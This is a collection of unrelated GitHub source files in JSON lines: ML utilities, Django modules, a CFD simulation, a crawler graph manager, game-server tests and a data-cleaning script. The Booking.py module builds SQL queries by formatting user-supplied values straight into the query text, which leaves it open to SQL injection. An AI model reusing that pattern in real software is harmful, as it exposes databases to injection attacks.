+{"seq_id":"71111905151","text":"import numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom PIL import Image\n\ndef process_image(image):\n    ''' \n    Converts, resizes, and normalizes a NumPy array image into a \n    uniform shape\n    \n    argument:\n        image: NumPy array image with varying shape (varies, varies, 3)\n    \n    returns:\n        image: Numpy array with shape (224, 224, 3)\n    \n    Code Attribution:\n        This function contains code that was updated and leveraged from the \n        Udacity Intro to Machine Learning Nano Degree Training material.\n    '''\n    image_size = 224\n    \n    # convert image into a TensorFlow Tensor\n    image_file = tf.convert_to_tensor(image)\n    \n    # resize to the appropriate size\n    image_file = tf.image.resize(image_file, (image_size, image_size))\n    \n    # normalize the pixels\n    image_file /= 255\n    \n    # convert into NumPy array\n    image = image_file.numpy()\n    \n    return image\n\ndef predict(image_path, model, top_k):\n    ''' \n    Takes a passed image, trained mode, and desired top \n    probabilities and returns prediction probabilities \n    for each image class\n    \n    argument:\n        image_path: image to be predicted\n        mode: trained model\n        top_k: number of top prediction probabilities\n    \n    returns:\n        class_prob: predicted probability for image classes\n        class_index: predicted class index\n        \n    Code Attribution:\n        This function contains code that was updated and leveraged from the \n        Udacity Intro to Machine Learning Nano Degree Training material.\n    '''\n    # load image\n    im = Image.open(image_path)\n    \n    # convert to NumPy array\n    test_image = np.asarray(im)\n    \n    # reshape Numpy array with shape (224, 224, 3)\n    processed_test_image = process_image(test_image)\n    \n    # add extra dimension (1, 224, 224, 3) for the required model format\n    processed_test_image = np.expand_dims(processed_test_image, axis=0)\n\n    # numpy array 1x102 of the probability prediction value for each flower image\n    image_prediction = model.predict(processed_test_image)\n    \n    # tensorflow method to identify a tensor of the top K predicted classes \n    # probabilities and indices\n    class_prob, class_index = tf.math.top_k(image_prediction, top_k) \n    \n    # convert predicted class tensor to numpy array list\n    class_prob = class_prob.numpy().tolist() \n\n    # convert predicted class index tensor to numpy array list\n    class_index = class_index.numpy().tolist()\n    \n    # add 1 since index starts at 0\n    class_index = [i+1 for i in class_index[0]]\n    \n    return class_prob[0], class_index\n\ndef sorted_class_prob(class_names, classes, probs, ascend):\n    ''' \n    Takes a dictionary of flower image class_names, predicted\n    flower image index, predicted probability, and sort preference \n    and returens a sorted dataframe\n    \n    argument:\n        class_names: dictionary of flower images\n        classes: predicted flower indexes\n        probs: predicted flower probabilities\n        ascend: sorted direction\n    \n    returns:\n        df_sorted: a dataframe of sorted indexes and classes\n    '''\n    class_display = [class_names[str(class_index)] for class_index in classes]\n    df = pd.DataFrame(\n        {\"class_name\" : class_display,\n         \"prob\" : probs})\n    df_sorted = df.sort_values(\"prob\", ascending=ascend)\n    return df_sorted","repo_name":"jaworow2/udacityIntroMlProject2","sub_path":"Part2/home/workspace/utility_functions.py","file_name":"utility_functions.py","file_ext":"py","file_size_in_byte":3370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22118268235","text":"from django.urls import path , include\nfrom . import views\nfrom .views import   PostDetailView ,PostCreateView ,PostUpdateView , PostDeleteView , UserPostListView\n\n\nurlpatterns = [\n    # path('',PostListView.as_view() , name = \"home\"),\n    path('',views.home , name = 'home'),\n    path('about/' , views.about, name = 'about'),\n    path('post/<int:pk>' , PostDetailView.as_view() , name = 'post-detail'),\n    path('post/new' , PostCreateView.as_view(template_name = 'blog/posts_form.html') , name = 'post-create'),\n    path('post/<int:pk>/update' , PostUpdateView.as_view(),name = 'post-update'),\n    path('post/<int:pk>/delete' , PostDeleteView.as_view() , name = 'post-delete'),\n    path('user/<str:username>' , UserPostListView.as_view() , name = 'post-user' )\n\n]\n\n","repo_name":"shanu1903/BlogVlog","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30907157287","text":"host = \"localhost:8080\"\nrest_api_url = \"http://%s/JeuxWeb/rest\" % host\nrest_api_admin_url = rest_api_url + \"/admin\"\n\ndefault_request_params = {\n    \"admin_cookie\": \"admin-auth=<COOKIE>\",\n    \"http_auth\": \"Basic <BASE64>\"\n}\n\ndefault_headers = {\n    'Host': host,\n    'Cookie': default_request_params[\"admin_cookie\"],\n    'Authorization': default_request_params[\"http_auth\"],\n    'Content-Type': 'application/json; charset=UTF-8',\n    'Accept': \"*/*\",\n    'Accept-Encoding': \"gzip, deflate\",\n    'Connection': \"keep-alive\",\n    'Pragma': \"no-cache\",\n    'Cache-Control': \"no-cache\",\n    'User-Agent': \"behave/Jeux\"\n}","repo_name":"marthjod/jeux","sub_path":"features/steps/defaults.py","file_name":"defaults.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"38279519307","text":"#functions \nimport pgzrun #library has actor and keyboard logic\nWIDTH = 500\nHEIGHT = 400 \n \np = Actor('ironman' , (200,200))\ndef draw(): #DEF KEYWORD MEANS DEFINING draw is important to write \n#draw defines screen colour \n    screen.fill('black')\n    p.draw()\ndef update(): #update executes the function within it repeatitevely \n    if keyboard.left:\n        p.x -= 2 \n        p.angle = 10 \n    elif keyboard.right:\n        p.x += 2\n        p.angle = -10  \n    elif keyboard.up:\n        p.y -= 2 \n    elif keyboard.down:\n        p.y += 2\n    else:\n        p.angle = 0\npgzrun.go()","repo_name":"shivisingh02/pythonprograms","sub_path":"g1.py","file_name":"g1.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5159905835","text":"from django.forms import ModelForm\nfrom django import forms\nfrom .models import Project\n\n\nclass ProjectForm(ModelForm):  # Django creates a form based on Project module\n    class Meta:\n        # Django is gonna ahead and generate a field of each available attribute,\n        # except id and created attributes that are automatically generated by db and arent modifiable\n        model = Project\n\n        # Create automatically generated form by attributes in db\n        fields = ['title', 'description', 'featured_image', 'demo_link', 'source_link', 'tags']\n\n        # Add attributes to specific/each field\n        widgets = {\n            'tags': forms.CheckboxSelectMultiple(),\n        }\n\n    def __init__(self, *args, **kwargs):\n        super(ProjectForm, self).__init__(*args, **kwargs)\n\n        for name, field in self.fields.items():\n            field.widget.attrs.update({'class': 'input'})\n\n        # Below second option to write instead of above for loop\n        # self.fields['title'].widget.attrs.update({'class': 'input', 'placeholder': 'Add title'})\n        #\n        # self.fields['description'].widget.attrs.update({'class': 'input', 'placeholder': 'Add title'}) etc...","repo_name":"fortyfortyy/Online-Platform-based-on-Django","sub_path":"projects/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35464705924","text":"import os\nfrom selenium.webdriver.firefox import webdriver\nfrom selenium.webdriver.firefox.options import Options\n\nFIREFOX = {\n    \"browserName\": \"firefox\",\n    \"marionette\": True,\n    \"acceptInsecureCerts\": True,\n}\n\ndef init_web_driver():\n\n    options = Options()\n    options.add_argument(\"-headless\")\n\n    return webdriver.WebDriver(executable_path=\"/workspace/src/ezselenium/ezselenium/firefox/geckodriver\", firefox_binary=\"/workspace/src/ezselenium/ezselenium/firefox/firefox\", log_path=None, service_log_path=None, capabilities=FIREFOX, firefox_options=options)\n","repo_name":"AllenYang0308/selpy","sub_path":"ezselenium/browser.py","file_name":"browser.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17685820735","text":"'''\nCreated on 2010-02-08\n\n@author: malem303\n'''\n\n\nfrom scipy import *\nfrom cgkit import cgtypes\nfrom scipy.optimize import leastsq\nfrom numpy.dual import norm\n\n\ndef residuals(parameters, predictions, inputs, experimentScene):\n    \n    residuals = []\n    \n    experimentScene.imuXYZAngles = (parameters[0], parameters[1], parameters[2])\n    \n    for i in range(len(predictions)):\n        \n        xRotation, yRotation = inputs[i]\n        \n        experimentScene.rotativeTableAAngle = xRotation\n        experimentScene.rotativeTableBAngle = yRotation\n        \n        \n        difference = cgtypes.vec3(predictions[i]) - experimentScene.gravityVector_IMU_coords()\n        residuals.append(difference.length())\n\n    \n    return residuals\n    \n    \ndef fit(gravityVectors, xyRotations, experimentScene):\n    parameters, flag = leastsq(residuals, ones(3), args=(gravityVectors, xyRotations, experimentScene))\n    \n    meanSquares = residuals(parameters, gravityVectors, xyRotations, experimentScene)\n    \n    return parameters, dot(meanSquares,meanSquares)\n\n        ","repo_name":"maxlem/AVRCpp","sub_path":"IMUGrabberPython/imugrabber/algorithms/cnc_method.py","file_name":"cnc_method.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44400124816","text":"matrix=[[1]*201 for _ in range(201)]  # 0행 0열을 포함 201x201 행렬 선언\n\nfor i in range(1,201):  # 1행 만들어주기\n    matrix[1][i]=i\n\nfor i in range(2,201):\n    for j in range(2,201):\n        matrix[i][j]=matrix[i-1][j]+matrix[i][j-1]\n\nN,M=map(int,input().split())\nprint(matrix[N][M]%1000000000)\n\n\n","repo_name":"soohyun-dev/Algorithm_Python","sub_path":"백준/Gold/Gold5/2225.py","file_name":"2225.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"3264042261","text":"import sys\nimport numpy \nfrom pyranda import pyrandaSim, pyrandaBC, pyrandaTimestep, pyrandaIBM, pyrandaTBL\n\n\n\n## Define a mesh\nproblem = 'myTBL'\n\nnx = 144\nny = 72\nnz = 32\n\nLx = 20.0\nLy = 12.0\nLz = 1.5\n\ndelBL = 2.5\nRe = 1.0e12\nmach = 0.3\np0 = 1.0\nrho0 = .1\ngamma = 1.4\nu0 = mach * numpy.sqrt( p0 / rho0 * gamma)\nmu0 = u0 * delBL * rho0 / Re\n\n#Re = u0 del0 den / ( mu0\ndef wallMesh(i,j,k):\n\n    alpha = numpy.log( Ly + 1.0 ) / ( float(ny) - 1.0 )\n    \n    x = Lx * ( float(i) / (nx-1) )\n    y = numpy.exp( alpha* float( j ) ) - 1.0\n    z = Lz * ( float(k) / (nz-1) )\n    return x,y,z\n\nmesh_options = {}\nmesh_options['coordsys'] = 3\nmesh_options['function'] = wallMesh\nmesh_options['periodic'] = numpy.array([False, False, True])\nmesh_options['periodicGrid'] = True  # (grid linked to flow periodicity)\nmesh_options['x1'] = [ 0.0    , 0.0    ,  0.0 ]\nmesh_options['xn'] = [ Lx     , Ly     ,  Lz  ]\nmesh_options['nn'] = [ nx     , ny     ,  nz  ]\n\n\n# Initialize a simulation object on a mesh\nss = pyrandaSim(problem,mesh_options)\nss.addPackage( pyrandaBC(ss) )\nss.addPackage( pyrandaTimestep(ss) )\n\nTBL = pyrandaTBL(ss)\n# Incoming BL data\nBL_data = {}\nBL_data['umean']  = 'TBL_data/umean.dat'\nBL_data['uumean'] = 'TBL_data/uumean.dat'\nBL_data['vvmean'] = 'TBL_data/vvmean.dat'\nBL_data['wwmean'] = 'TBL_data/wwmean.dat'\nBL_data['uvmean'] = 'TBL_data/uvmean.dat'\n# Setup the 2d filters ( 6 total.  Inner (u,v,w) and outer (u,v,w) )\nTBL.UIx = 10\nTBL.UIy = [ 10, 15 ]\nTBL.UIz = 10\n        \nTBL.VIx = 8\nTBL.VIy = [ 15, 20 ]\nTBL.VIz = 10\n      \nTBL.WIx = 8\nTBL.WIy = [ 10, 20 ]\nTBL.WIz = 10\n\nTBL.Nbuff = 20 * 2\nTBL.BL_data = BL_data\nTBL.U_in    = u0 / 18.93   # Max val data / mean flow u0 in pyranda\nTBL.del_BL  = 2.5 / 100.0  # Data val at BL / physical location\nTBL.tauX    = 2.5\nss.addPackage( TBL )\n\n\n# Import 3D Euler-curvilinear\n#from equation_library import euler_3d\nfrom equation_library import euler_3d_dir as euler_3d\n\neuler_3d += \"\"\"\nbc.const(['u','v','w'],['y1'],0.0)\nbc.extrap(['rho','p'],['y1','yn'])\nbc.extrap(['rho','p'],['xn'])\nbc.const(['rho'],['x1'],rho0)\nbc.const(['p'],['x1'],p0)\nTBL.inflow()\n# Sponge outflow\n:wgt: = ( 1.0 + tanh( (meshx-Lx*(1.0-0.025))/ (.025*Lx) ) ) * 0.5\n:u: = :u:*(1-:wgt:) + gbarx(:u:)*:wgt:\n:v: = :v:*(1-:wgt:) + gbarx(:v:)*:wgt:\n:w: = :w:*(1-:wgt:) + gbarx(:w:)*:wgt:\nbc.extrap(['u','v','w'],['xn'])\n:rhou: = :rho:*:u:\n:rhov: = :rho:*:v:\n:rhow: = :rho:*:w:\n:Et:   =  .5*:rho:*(:u:*:u: + :v:*:v: + :w:*:w:)  + :p: / ( :gamma: - 1.0 )\n\"\"\"\neuler_3d = euler_3d.replace('mu0',str(mu0))\neuler_3d = euler_3d.replace('rho0',str(rho0))\neuler_3d = euler_3d.replace('p0',str(p0))\neuler_3d = euler_3d.replace('Lx',str(Lx))\n\n# Add the EOM to the solver\nss.EOM(euler_3d)\n\n# Initialize variables\nic = \"\"\"\n:gamma: = gam0\n#:R: = 1.0\n#:cp: = :R: / (1.0 - 1.0/:gamma: )\n#:cv: = :cp: - :R:\n:rho: = 3d(rho0)\n:p:   = 3d(p0)\n:u: = mach * sqrt( :p: / :rho: * :gamma:)\nbc.const( ['u','v','w'] , ['y1'] , 0.0 )\n:u: = gbar( gbar( :u: ) )\n:Et: = :p:/( :gamma: - 1.0 ) + .5*:rho:*(:u:*:u: + :v:*:v: + :w:*:w:)\n:rhou: = :rho:*:u:\n:rhov: = :rho:*:v:\n:rhov: = :rho:*:w:\n:cs:  = sqrt( :p: / :rho: * :gamma: )\n:dt: = dt.courant(:u:,:v:,:w:,:cs:)\nTBL.setup()\n# Mesh metrics from parcops\n:dAdx: = meshVar('dAx')\n:dAdy: = meshVar('dAy')\n:dAdz: = meshVar('dAz')\n:dBdx: = meshVar('dBx')\n:dBdy: = meshVar('dBy')\n:dBdz: = meshVar('dBz')\n:dCdx: = meshVar('dCx')\n:dCdy: = meshVar('dCy')\n:dCdz: = meshVar('dCz')\n:detJ: = meshVar('dtJ')\n:dA: = meshVar('d1')\n:dB: = meshVar('d2')\n:dC: = meshVar('d3')\n\"\"\"\nic = ic.replace('mach',str(mach))\nic = ic.replace('rho0',str(rho0))\nic = ic.replace('p0',str(p0))\nic = ic.replace('gam0',str(gamma))\nic = ic.replace('BL_data',str(BL_data))\n\n# Set the initial conditions\nss.setIC(ic)\n    \n\n# Write a time loop\ntime = 0.0\nviz = True\n\n# Approx a max dt and stopping time\ntt = 60.0 #\n\n# Start time loop\nviz_freq = 250\npvar = 'umag'\n\n#TBL.DFinflow()\nwvars = ['p','rho','u','v','w','Et','cs']\n\n#for i in range(1,nx):\n#    ss.var('u').data[i,:,:] = ss.var('u').data[0,:,:]\n\n\nTBL.DFinflow()\n\nss.parse(\":rhou: = :rho:*:u:\")\nss.write(wvars)\n\nif 1:\n    CFL = 0.9\n    dt = ss.var('dt').data * CFL\n    while tt > time:\n\n        # Update the EOM and get next dt\n        time = ss.rk4(time,dt)\n        #time = time + dt\n        #ss.time = time*1.0\n        #TBL.DFinflow()\n        #ss.cycle += 1\n        dt = min( ss.variables['dt'].data * CFL, dt)\n        dt = min(dt, (tt - time) )\n        dtCFL = ss.variables['dtC'].data\n    \n        # Print some output\n        ss.iprint(\"%s -- %.6e --- %.4e --- CFL: %.4e\" % (ss.cycle,time,dt,dt/dtCFL)  )\n\n        # if (ss.cycle%viz_freq == 0) :\n        #     ss.write(wvars)\n        #     ss.writeRestart()\n\n            \n        \n\n#ss.writeRestart()\n            \n\n","repo_name":"AndradeL/MO833-Natalia-Lucas","sub_path":"pyranda/TBL3D.py","file_name":"TBL3D.py","file_ext":"py","file_size_in_byte":4720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12439344333","text":"import random\n\ndef bookingQuery(database, email):\n\tquery = \"\"\"SELECT ROW_NUMBER() OVER (ORDER BY b.TNO),\n\t\t\tt.name,\n\t\t\tt.paid_price,\n\t\t\tb.tno,\n\t\t\tb.flightno,\n\t\t\tb.fare,\n\t\t\tto_char(b.dep_date, 'yyyy-mm-dd'),\n\t\t\tb.seat\n\t\t\tFROM bookings b, tickets t WHERE\n\t\t\tt.tno = b.tno AND\n\t\t\tt.email = '{}'\n\t\t\tORDER BY TNO\"\"\".format(email)\n\n\tdatabase.cursor.execute(query)\n\ndef addBooking(database, tno, flightnos, fares, dep_dates):\n\tseat = str(random.randint(0, 99)) + random.choice(\"abcdef\")\n\n\ti = 0\n\tfor flightno in flightnos:\n\t\tif flightno == None:\n\t\t\tcontinue\n\t\telse:\n\t\t\tfare = fares[i]\n\t\t\tdep_date = dep_dates[i]\n\t\t\tquery = \"\"\"INSERT INTO bookings\n\t\t\tVALUES({0}, '{1}', '{2}', TO_DATE('{3}', 'YYYY-MM-DD'), '{4}')\"\"\".format(\n\t\t\t\ttno, flightno, fare, dep_date.strftime('%Y-%m-%d'), seat)\n\n\t\t\tdatabase.cursor.execute(query)\n\t\t\tdatabase.commit()\n\t\ti += 1\n\n\ndef cancelBooking(database, tno, flightno, dep_date):\n\tquery = \"\"\"DELETE FROM\n\t\t\tbookings b WHERE\n\t\t\tb.tno = {0} and\n\t\t\tb.flightno = '{1}' and\n\t\t\tb.dep_date = to_date('{2}', 'yyyy-mm-dd')\"\"\".format(tno, flightno, dep_date)\n\n\tdatabase.cursor.execute(query)\n\tdatabase.commit()\n","repo_name":"dskrundz-school/CMPUT291MINIPROJECTONE","sub_path":"Booking.py","file_name":"Booking.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42229986147","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 19 21:32:11 2019\n\n@author: Jan\n\"\"\"\n\nimport BaseOut\nimport bo_test2\n\nbo1 = BaseOut.BaseOut()\n\nbo1.print_stuff()\n\nbo1.set_on_first(\"Jake\")\nbo1.set_on_second(\"Ryland\")\nbo1.set_on_third(\"Howie\")\n\nbo1.get_base_state()\nbo1.get_base_out_state()\n\nbo1.print_stuff()\nbod = bo1.get_info()\n\nprint(bod)\nprint()\n\nnewbod = bo_test2.change_bo(bod)\n\nprint(\"newbod\")\nprint(newbod)\n\n\n\n\n\n\n","repo_name":"JanLMoffett/PlayByPlayMiner","sub_path":"PlayByPlayMiner1/Previous Versions/bo_test1.py","file_name":"bo_test1.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32393301588","text":"import cv2\nimport numpy as np\n\n\n\ncap = cv2.VideoCapture(0)\n\nyellow_lower = np.array([22, 93, 0])\nyellow_upper = np.array([45, 255, 255])\n\n\nwhile True:\n    ret, frame = cap.read()\n    frame = cv2.flip(frame, 1)\n    hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n    mask = cv2.inRange(hsv, yellow_lower, yellow_upper)\n    # cv2.imshow('mask', mask)\n\n    contours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n    # cnt_img = cv2.drawContours(frame, contours, -1, (255, 0, 0), 3)\n    # cv2.imshow('contours', cnt_img)\n\n\n    for c in contours:\n        area = cv2.contourArea(c)\n        if area > 400:\n            x, y, w, h = cv2.boundingRect(c)\n            cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2)\n            # if y < prev_y:\n            #     pyautogui.press('space')\n\n            # prev_y = y\n    cv2.imshow('frame', frame)\n\n    if cv2.waitKey(1) & 0xFF ==ord('q'):\n        break\n \ncap.release()\ncv2.destroyAllWindows()\n\n# print(zeros)","repo_name":"tanvir362/image_processing","sub_path":"tracking_color.py","file_name":"tracking_color.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"32716647725","text":"from __future__ import absolute_import\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nfrom .models import Base, CrawlPage\nfrom .data import CrawlSiteData, CrawlSiteListData\n\nDEFAULT_ENGINE = 'sqlite:///:memory:'\n\n\nclass CrawlGraphManager(object):\n    def __init__(self, engine=DEFAULT_ENGINE, autocommit=False, autoflush=False,\n                 echo=False, drop_all_tables=False, clear_content=False):\n        self.engine = create_engine(engine, echo=echo)\n        if drop_all_tables:\n            Base.metadata.drop_all(self.engine)\n        Base.metadata.create_all(self.engine)\n        self.Session = sessionmaker()\n        self.Session.configure(bind=self.engine, autocommit=autocommit, autoflush=autoflush)\n        self.session = self.Session()\n        if clear_content:\n            for name, table in Base.metadata.tables.items():\n                self.session.execute(table.delete())\n\n    @property\n    def pages(self):\n        return [page for page in CrawlPage.query(self.session).all()]\n\n    @property\n    def seeds(self):\n        return self.session.query(CrawlPage).filter_by(is_seed=True).all()\n\n    def add_page(self, url, status=200, n_redirects=0, is_seed=False, commit=True):\n        page, created = CrawlPage.get_or_create(self.session, url=url)\n        if created:\n            page.is_seed = is_seed\n        page.status = status\n        page.n_redirects = n_redirects\n        if commit:\n            self.session.commit()\n        return page\n\n    def add_link(self, page, url, commit=True, status=200):\n        link_page, created = CrawlPage.get_or_create(self.session, url=url)\n        if created:\n            link_page.status = status\n        if link_page not in page.links:\n            page.links.append(link_page)\n        if commit:\n            self.session.commit()\n        return link_page\n\n    def get_page(self, url):\n        return self.session.query(CrawlPage).filter_by(url=url).first()\n\n    def add_site(self, site, default_status=200, default_n_redirects=0):\n        pages = site.pages if isinstance(site, CrawlSiteData) else site\n        for i, (info, links) in enumerate(pages):\n            if isinstance(info, tuple):\n                if len(info) == 2:\n                    status, page_url, n_redirects = (info[0], info[1], default_n_redirects)\n                else:\n                    status, page_url, n_redirects = info\n            else:\n                status, page_url, n_redirects = (default_status, info, default_n_redirects)\n            page = self.add_page(url=page_url, status=status, n_redirects=n_redirects, is_seed=(i == 0))\n            for link_url in links:\n                self.add_link(page=page, url=link_url, status=default_status)\n\n    def add_site_list(self, graph, default_status=200, default_n_redirects=0):\n        sites = graph.sites if isinstance(graph, CrawlSiteListData) else graph\n        for site in sites:\n            self.add_site(site=site, default_status=default_status, default_n_redirects=default_n_redirects)\n\n    def save(self):\n        self.session.commit()\n\n    def render(self, filename, label='', labelloc='t', labeljust='c',\n               rankdir=\"TB\", ranksep=0.7,\n               fontname='Arial', fontsize=24,\n               use_urls=False,\n               node_fixedsize='true', nodesep=0.1, node_width=0.85, node_height=0.85, node_fontsize=15,\n               include_ids=False):\n        import pydot\n\n        # Graph\n        graph_args = {\n            \"rankdir\": rankdir,\n            \"ranksep\": ranksep,\n            \"nodesep\": nodesep,\n            \"fontname\": fontname,\n            \"fontsize\": fontsize,\n        }\n        if label:\n            graph_args.update({\n                \"labelloc\": labelloc,\n                \"labeljust\": labeljust,\n                \"label\": label\n            })\n        graph = pydot.Dot(**graph_args)\n\n        # Node\n        node_args = {\n            \"fontsize\": node_fontsize,\n        }\n        if use_urls:\n            node_seed_shape = 'rectangle'\n            node_shape = 'oval'\n        else:\n            node_seed_shape = 'square'\n            node_shape = 'circle'\n            node_args.update({\n                \"fixedsize\": node_fixedsize,\n                \"width\": node_width,\n                \"height\": node_height,\n            })\n\n        graph.set_node_defaults(**node_args)\n        for page in self.pages:\n            graph.add_node(pydot.Node(name=self._clean_page_name(page, include_id=include_ids),\n                                      fontname=fontname,\n                                      fontsize=node_fontsize,\n                                      shape=node_seed_shape if page.is_seed else node_shape))\n            for link in page.links:\n                graph.add_edge(pydot.Edge(self._clean_page_name(page, include_id=include_ids),\n                                          self._clean_page_name(link, include_id=include_ids)))\n        graph.write_png(filename)\n\n    def _clean_page_name(self, page, include_id):\n        cleaned_name = page.url\n        cleaned_name = cleaned_name.replace('http://', '')\n        cleaned_name = cleaned_name.replace('https://', '')\n        if include_id:\n            cleaned_name = \"%d. %s\" % (page.id, cleaned_name)\n        return cleaned_name","repo_name":"scrapinghub/frontera","sub_path":"frontera/utils/graphs/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":5236,"program_lang":"python","lang":"en","doc_type":"code","stars":1260,"dataset":"github-code","pt":"60"}
+{"seq_id":"39436195097","text":"import uuid\nimport httpx\nimport pytest\nfrom fastapi import testclient\n\nfrom server import dependencies, server_main, game_state\n\n\n@pytest.fixture\ndef test_client() -> testclient.TestClient:\n    return testclient.TestClient(server_main.app)\n\n\n@pytest.fixture\ndef game() -> game_state.GameState:\n    game_id = uuid.uuid4()\n    games = {game_id: game_state.GameState(game_id, first_player_name=\"player1\")}\n    games[game_id].first_player_starts = True\n    games[game_id].current_turn_first_player = True\n\n    def return_games() -> dependencies.GamesDict:\n        return games\n\n    server_main.app.dependency_overrides[dependencies.get_active_games] = return_games\n    return games[game_id]\n\n\ndef test_create_game(test_client: testclient.TestClient) -> None:\n    response = test_client.post(\"/new_game\", json={\"player_name\": \"player1\"})\n    assert response.status_code == 200\n\n\ndef test_join_game(\n    test_client: testclient.TestClient, game: game_state.GameState\n) -> None:\n    response = test_client.post(\n        f\"/{game.game_id}/join\", json={\"player_name\": \"player2\"}\n    )\n    assert response.status_code == 200\n\n\ndef test_get_state(\n    test_client: testclient.TestClient, game: game_state.GameState\n) -> None:\n    response = test_client.get(f\"/{game.game_id}\")\n    assert response.status_code == 200\n\n\ndef test_play_turn(\n    test_client: testclient.TestClient, game: game_state.GameState\n) -> None:\n    response = test_client.post(\n        f\"/{game.game_id}/play_turn\",\n        json={\"row\": 0, \"column\": 0},\n        headers={\"x-player-token\": str(game.first_player.token)},\n    )\n    assert response.status_code == 200\n\n\ndef test_whole_game(test_client: testclient.TestClient) -> None:\n    response = test_client.post(\"/new_game\", json={\"player_name\": \"player1\"})\n    assert response.status_code == 200\n    game_id = response.json()[\"game_id\"]\n    player_one_token = response.json()[\"player_token\"]\n\n    response = test_client.post(f\"/{game_id}/join\", json={\"player_name\": \"player2\"})\n    assert response.status_code == 200\n    player_two_token = response.json()[\"player_token\"]\n\n    response = test_client.get(f\"/{game_id}\")\n    assert response.status_code == 200\n    first_player_first = response.json()[\"current_turn\"] == \"first_player\"\n\n    first_player_token = player_one_token if first_player_first else player_two_token\n    second_player_token = player_two_token if first_player_first else player_one_token\n\n    def play_turn(token: str, *, row: int, col: int) -> httpx.Response:\n        response = test_client.post(\n            f\"/{game_id}/play_turn\",\n            json={\"row\": row, \"column\": col},\n            headers={\"x-player-token\": token},\n        )\n        assert response.status_code == 200\n        return response\n\n    play_turn(first_player_token, row=0, col=0)\n    play_turn(second_player_token, row=0, col=1)\n    play_turn(first_player_token, row=1, col=0)\n    play_turn(second_player_token, row=1, col=1)\n\n    with open(\"tic-tac-toe-example.png\", \"rb\") as image_file:\n        response = response = test_client.post(\n            f\"/{game_id}/play_turn_image\",\n            headers={\"x-player-token\": first_player_token},\n            files={\"image_file\": image_file},\n        )\n    assert response.json()[\"winner\"] == (\"player1\" if first_player_first else \"player2\")\n","repo_name":"VenelinMartinov/tic_tac_toe","sub_path":"server/test_server.py","file_name":"test_server.py","file_ext":"py","file_size_in_byte":3291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26608946239","text":"import traceback\nimport sys\n\n# Schwab Personal Value Data Cleaner\n\n#inputFilePath = input('Enter the Input Filepath: ') #Comment these out\n#outputFilePath = input('Enter the Output Filepath: ') #Comment these out\nholidaysFilePath = 'src\\\\Holidays List.txt' #Leave this line functional\n#INSERT EASY-RUN CODE FROM OBSIDIAN HERE (See Programming Project Documentation Register)\n\ntry:\n    rawData = open(inputFilePath, 'r')\n    cleanData = open(outputFilePath, 'w') #Note: file must be empty - contain no data\n    holidaysData = open(holidaysFilePath, 'r') #Note: Holidays file must have data formatted correctly - see extant file for proper format\n\n    holidays = holidaysData.readlines()\n\n    #Process data in PV Data file\n    for line in rawData :\n        line = line.rstrip() # Remove newline character from all lines\n        splitLine = line.split() #Make a list to contain all separate elements (words & numbers) in the current line\n        del splitLine[-1] #Remove dollar amount from current line (it is the last item in the line)\n\n        dateOnly = ''\n        index = 0\n        while index < len(splitLine) : # Convert splitLine back into string\n            dateOnly = dateOnly + ' ' + splitLine[index]\n            index += 1\n        \n        if line.startswith('Saturday') or line.startswith('Sunday') :\n            continue\n\n        #Check if curent line is a holiday\n        isHoliday = False\n        for date in holidays :\n            date = date.rstrip()\n            dateOnly = dateOnly.rstrip()\n            if date in dateOnly :\n                isHoliday = True\n                continue\n        if not isHoliday :\n            line = line + '\\n' # Add newline character back for proper file formatting\n            cleanData.write(line)\n\n    # Close files\n    rawData.close()\n    cleanData.close()\n    holidaysData.close()\nexcept Exception:\n    print(traceback.format_exc())\n    print('Invalid File.')\n    \n\n\n\n","repo_name":"KrisAirdancer/Schwab-PV-Data-Cleaner","sub_path":"src/Schwab PV Data Cleaner.py","file_name":"Schwab PV Data Cleaner.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
